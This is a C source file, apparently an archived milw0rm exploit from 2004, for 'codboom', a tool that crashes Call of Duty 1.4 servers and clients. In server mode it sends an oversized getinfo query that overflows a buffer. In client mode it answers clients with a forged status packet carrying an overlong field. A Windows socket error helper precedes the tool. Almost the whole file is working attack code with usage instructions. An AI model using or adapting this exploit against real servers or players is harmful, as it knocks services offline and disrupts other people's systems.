363 lines
No EOL
12 KiB
C
363 lines
No EOL
12 KiB
C
/* winerr.h */
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/*
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Header file used for manage errors in Windows
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It support socket and errno too
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(this header replace the previous sock_errX.h)
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*/
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#include <string.h>
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#include <errno.h>
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void std_err(void) {
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char *error;
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switch(WSAGetLastError()) {
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case 10004: error = "Interrupted system call"; break;
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case 10009: error = "Bad file number"; break;
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case 10013: error = "Permission denied"; break;
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case 10014: error = "Bad address"; break;
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case 10022: error = "Invalid argument (not bind)"; break;
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case 10024: error = "Too many open files"; break;
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case 10035: error = "Operation would block"; break;
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case 10036: error = "Operation now in progress"; break;
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case 10037: error = "Operation already in progress"; break;
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case 10038: error = "Socket operation on non-socket"; break;
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case 10039: error = "Destination address required"; break;
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case 10040: error = "Message too long"; break;
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case 10041: error = "Protocol wrong type for socket"; break;
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case 10042: error = "Bad protocol option"; break;
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case 10043: error = "Protocol not supported"; break;
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case 10044: error = "Socket type not supported"; break;
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case 10045: error = "Operation not supported on socket"; break;
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case 10046: error = "Protocol family not supported"; break;
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case 10047: error = "Address family not supported by protocol family"; break;
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case 10048: error = "Address already in use"; break;
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case 10049: error = "Can't assign requested address"; break;
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case 10050: error = "Network is down"; break;
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case 10051: error = "Network is unreachable"; break;
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case 10052: error = "Net dropped connection or reset"; break;
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case 10053: error = "Software caused connection abort"; break;
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case 10054: error = "Connection reset by peer"; break;
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case 10055: error = "No buffer space available"; break;
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case 10056: error = "Socket is already connected"; break;
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case 10057: error = "Socket is not connected"; break;
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case 10058: error = "Can't send after socket shutdown"; break;
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case 10059: error = "Too many references, can't splice"; break;
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case 10060: error = "Connection timed out"; break;
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case 10061: error = "Connection refused"; break;
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case 10062: error = "Too many levels of symbolic links"; break;
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case 10063: error = "File name too long"; break;
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case 10064: error = "Host is down"; break;
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case 10065: error = "No Route to Host"; break;
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case 10066: error = "Directory not empty"; break;
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case 10067: error = "Too many processes"; break;
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case 10068: error = "Too many users"; break;
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case 10069: error = "Disc Quota Exceeded"; break;
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case 10070: error = "Stale NFS file handle"; break;
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case 10091: error = "Network SubSystem is unavailable"; break;
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case 10092: error = "WINSOCK DLL Version out of range"; break;
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case 10093: error = "Successful WSASTARTUP not yet performed"; break;
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case 10071: error = "Too many levels of remote in path"; break;
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case 11001: error = "Host not found"; break;
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case 11002: error = "Non-Authoritative Host not found"; break;
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case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
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case 11004: error = "Valid name, no data record of requested type"; break;
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default: error = strerror(errno); break;
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}
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fprintf(stderr, "\nError: %s\n", error);
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exit(1);
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}
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/* codboom.c */
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/*
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by Luigi Auriemma
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#ifdef WIN32
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#include <winsock.h>
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#include <io.h>
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#include <malloc.h>
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#include "winerr.h"
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#define close closesocket
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#else
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#include <unistd.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <arpa/inet.h>
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#include <netdb.h>
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#endif
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#define VER "0.1"
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#define BUFFSZ 2048
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#define PORT 28960
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#define TIMEOUT 3
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#define INFO "\xff\xff\xff\xff" "getinfo xxx\n"
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#define BOOM "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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// must be major than 1023 bytes
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#define SVBOF "\xff\xff\xff\xff" "getinfo %s\n"
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#define CLBOF "\xff\xff\xff\xff" \
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"%sResponse\n" \
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"\\g_gametype\\dm" \
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"\\gamename\\Call of Duty" \
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"\\mapname\\mp_carentan" \
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"\\protocol\\5" \
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"\\scr_friendlyfire\\0" \
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"\\scr_killcam\\0" \
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"\\shortversion\\1.4" \
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"\\sv_allowAnonymous\\0" \
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"\\sv_floodProtect\\1" \
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"\\sv_hostname\\Crash" \
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"\\sv_maxclients\\26" \
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"\\sv_maxPing\\0" \
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"\\sv_maxRate\\10000" \
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"\\sv_minPing\\0" \
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"\\sv_privateClients\\0" \
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"\\sv_punkbuster\\1" \
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"\\sv_pure\\1" \
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"\\pswrd\\0" \
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"\\mod\\1" \
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"\\crash\\%s"
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void show_info(u_char *buff);
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int timeout(int sock);
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u_long resolv(char *host);
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void std_err(void);
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int main(int argc, char *argv[]) {
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int sd,
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len,
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psz,
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on = 1,
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type;
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u_short port = PORT;
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u_char buff[BUFFSZ + 1];
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struct sockaddr_in peer;
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setbuf(stdout, NULL);
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fputs("\n"
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"Call of Duty <= 1.4 server/client shutdown "VER"\n"
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"by Luigi Auriemma\n"
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"e-mail: aluigi@altervista.org\n"
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"web: http://aluigi.altervista.org\n"
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"\n", stdout);
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if(argc < 2) {
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printf("\nUsage: %s <attack> [port(%d)]\n"
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"\n"
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"Attack:\n"
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" c = broadcast clients shutdown\n"
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" s = server shutdown\n"
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" You must add the IP or the hostname of the server after the 's'.\n"
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"\n"
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"Some usage examples:\n"
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" codboom c listens on port %d for clients\n"
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" codboom c 1234 listens on port 1234\n"
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" codboom s 192.168.0.1 tests the server 192.168.0.1 on port %d\n"
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" codboom s codserver 1234 tests the server codserver on port 1234\n"
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"\n", argv[0], PORT, PORT, PORT);
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exit(1);
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}
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#ifdef WIN32
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WSADATA wsadata;
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WSAStartup(MAKEWORD(1,0), &wsadata);
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#endif
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type = argv[1][0];
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if(type == 's') {
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if(argc < 3) {
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printf("\n"
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"Error: you must specify the server IP or hostname.\n"
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" Example: %s s localhost\n"
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"\n", argv[0]);
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exit(1);
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}
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peer.sin_addr.s_addr = resolv(argv[2]);
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if(argc > 3) port = atoi(argv[3]);
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printf("\n- Target %s:%hu\n",
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inet_ntoa(peer.sin_addr),
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port);
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} else if(type == 'c') {
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peer.sin_addr.s_addr = INADDR_ANY;
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if(argc > 2) port = atoi(argv[2]);
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printf("\n- Listen on port %d\n", port);
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} else {
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fputs("\n"
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"Error: Wrong type of chosen attack.\n"
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" You can choose between 2 types of attacks, passive versus clients with\n"
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" 'c' or versus servers with 's'\n"
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"\n", stdout);
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exit(1);
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}
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peer.sin_port = htons(port);
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peer.sin_family = AF_INET;
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psz = sizeof(peer);
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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if(type == 's') {
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fputs("- Request informations\n", stdout);
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if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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if(timeout(sd) < 0) {
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fputs("\n"
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"Error: socket timeout, probably the server is not online or the port is wrong\n"
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"\n", stdout);
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exit(1);
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}
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len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
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if(len < 0) std_err();
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buff[len] = 0x00;
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show_info(buff);
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fputs("- Send BOOM packet\n", stdout);
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len = sprintf(buff, SVBOF, BOOM);
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if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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if(timeout(sd) < 0) {
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fputs("\nServer IS vulnerable!!!\n\n", stdout);
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} else {
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len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
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if(len < 0) std_err();
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buff[len] = 0x00;
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printf("\n"
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"Server doesn't seem to be vulnerable, the following is the answer received:\n"
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"\n%s\n\n", buff);
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}
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} else {
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if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
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< 0) std_err();
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if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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fputs(" Clients:\n", stdout);
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for(;;) {
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len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
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if(len < 0) std_err();
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buff[len] = 0x00;
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printf("%16s:%hu -> %s\n",
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inet_ntoa(peer.sin_addr),
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ntohs(peer.sin_port),
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buff);
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if(!memcmp(buff + 4, "getinfo", 7)) {
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len = sprintf(buff, CLBOF, "info", BOOM);
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} else {
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len = sprintf(buff, CLBOF, "status", BOOM);
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}
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if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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}
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}
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close(sd);
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return(0);
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}
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void show_info(u_char *buff) {
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int nt = 1;
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u_char *string;
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while((string = strchr(buff, '\\'))) {
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*string = 0x00;
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if(!nt) {
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printf("%30s: ", buff);
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nt++;
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} else {
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printf("%s\n", buff);
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nt = 0;
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}
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buff = string + 1;
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}
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printf("%s\n", buff);
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}
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int timeout(int sock) {
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struct timeval tout;
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fd_set fd_read;
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int err;
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tout.tv_sec = TIMEOUT;
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tout.tv_usec = 0;
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FD_ZERO(&fd_read);
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FD_SET(sock, &fd_read);
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err = select(sock + 1, &fd_read, NULL, NULL, &tout);
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if(err < 0) std_err();
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if(!err) return(-1);
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return(0);
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}
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u_long resolv(char *host) {
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struct hostent *hp;
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u_long host_ip;
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host_ip = inet_addr(host);
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if(host_ip == INADDR_NONE) {
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hp = gethostbyname(host);
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if(!hp) {
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printf("\nError: Unable to resolv hostname (%s)\n", host);
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exit(1);
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} else host_ip = *(u_long *)(hp->h_addr);
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}
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return(host_ip);
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}
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#ifndef WIN32
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void std_err(void) {
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perror("\nError");
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exit(1);
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}
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#endif
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// milw0rm.com [2004-09-05]
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